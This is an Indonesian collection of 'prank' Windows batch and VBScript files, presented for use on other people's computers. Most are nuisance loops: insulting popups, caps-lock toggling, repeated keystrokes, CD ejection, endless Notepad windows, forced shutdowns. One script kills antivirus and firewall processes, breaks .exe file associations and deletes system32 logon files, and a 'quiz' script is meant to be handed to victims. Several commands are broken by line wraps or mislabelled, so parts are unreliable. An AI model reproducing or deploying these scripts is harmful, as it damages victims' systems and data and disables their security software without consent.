Kumpulan Script Jahil


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MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS
Code:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
==> save nama script diatas dg ekstensi *.bat

BIKIN SHUTDOWN + MESSAGES
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu
standar abis"
==> save nama script diatas dg ekstensi *.bat

MAININ CAPS LOCK BUTTON
Code:
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
==> save nama script diatas dg ekstensi *.vbs

BUKA TUTUP CD/DVD SECARA OTOMATIS
Code:
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
==> save nama script diatas dg ekstensi *.vbs

BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS
Code:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.vbs

MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS
Code:
MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do          
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
==> save nama script diatas dg ekstensi *.vbs

OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD
Code:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop
==> save nama script diatas dg ekstensi *.vbs

MEMBUKA NOTEPAD TERUS MENERUS
Code:
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.BAT

OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU"
Code:
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "
==> save nama script diatas dg ekstensi *.vbs

BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2
Code:
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...

POKOKNYA KALO YG INI DICOBA DULU DEH !!
Code:
@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”
==> save script diatas dg ekstensi *.bat

KEYBOARD PROBLEM
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "sabotase keyboard, etc"

loop
==> save nama script diatas dg ekstensi *.bat 
BACKSPACE PROBLEM
Code:
MsgBox "empatujuhcode bilang : anda harus mengulang kembali"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop
==> save nama script diatas dg ekstensi *.bat


ENTER AGAIN
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop
==> save nama script diatas dg ekstensi *.bat


MAININ CAPSLOCK BUTTON
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop
==> save nama script diatas dg ekstensi *.bat


VBS SCRIPT NONGOL TERUS
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop
==> save nama script diatas dg ekstensi *.bat


KUIS MEMBAWA PETAKA
Code:
@echo off

title quiz hari ini 

:menu

cls

echo jika kamu kena virus apa yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t 30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo jelek

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top
==> save nama script diatas dg ekstensi *.bat


MESSAGE ALERT
Code:
@ECHO off

:Begin

msg * Kenna Deh

msg * Huahahaha

msg * Install Ulang Aja

msg * Gak Mau Ya ?

msg * Terserah

msg * Mari Kita Bermain

msg * Nikmatilah hidup ini

msg * Jangan MENYERAH

msg * Jangan PANIK

msg * Jangan PUTUS ASA

msg * Jangan GROGI

msg * Huahahaha

msg * Saya tidak bermaksud JAHAT

msg * Hanya ISENG

msg * OKE lah Kalau begitu

msg * Perkenalkan SAYA

msg * EMPATUJUH CODE

msg * Kenal SAYA ?

msg * Gak kenal kan ?

msg * Makanya Rasakan ini

msg * Lain Kali Jangan KLIK SEMBARANG

msg * Gini aja

msg * Telepon Teman Kamu yg PINTAR

msg * Beresin Masalah ini

msg * Sebelum Terlambat

msg * OK

msg * Bye

msg * Love you Full

msg * Anjing

msg * Babi

msg * upss KECEPLOSAN

msg * huahahaha

GOTO BEGIN
==> save nama script diatas dg ekstensi *.bat






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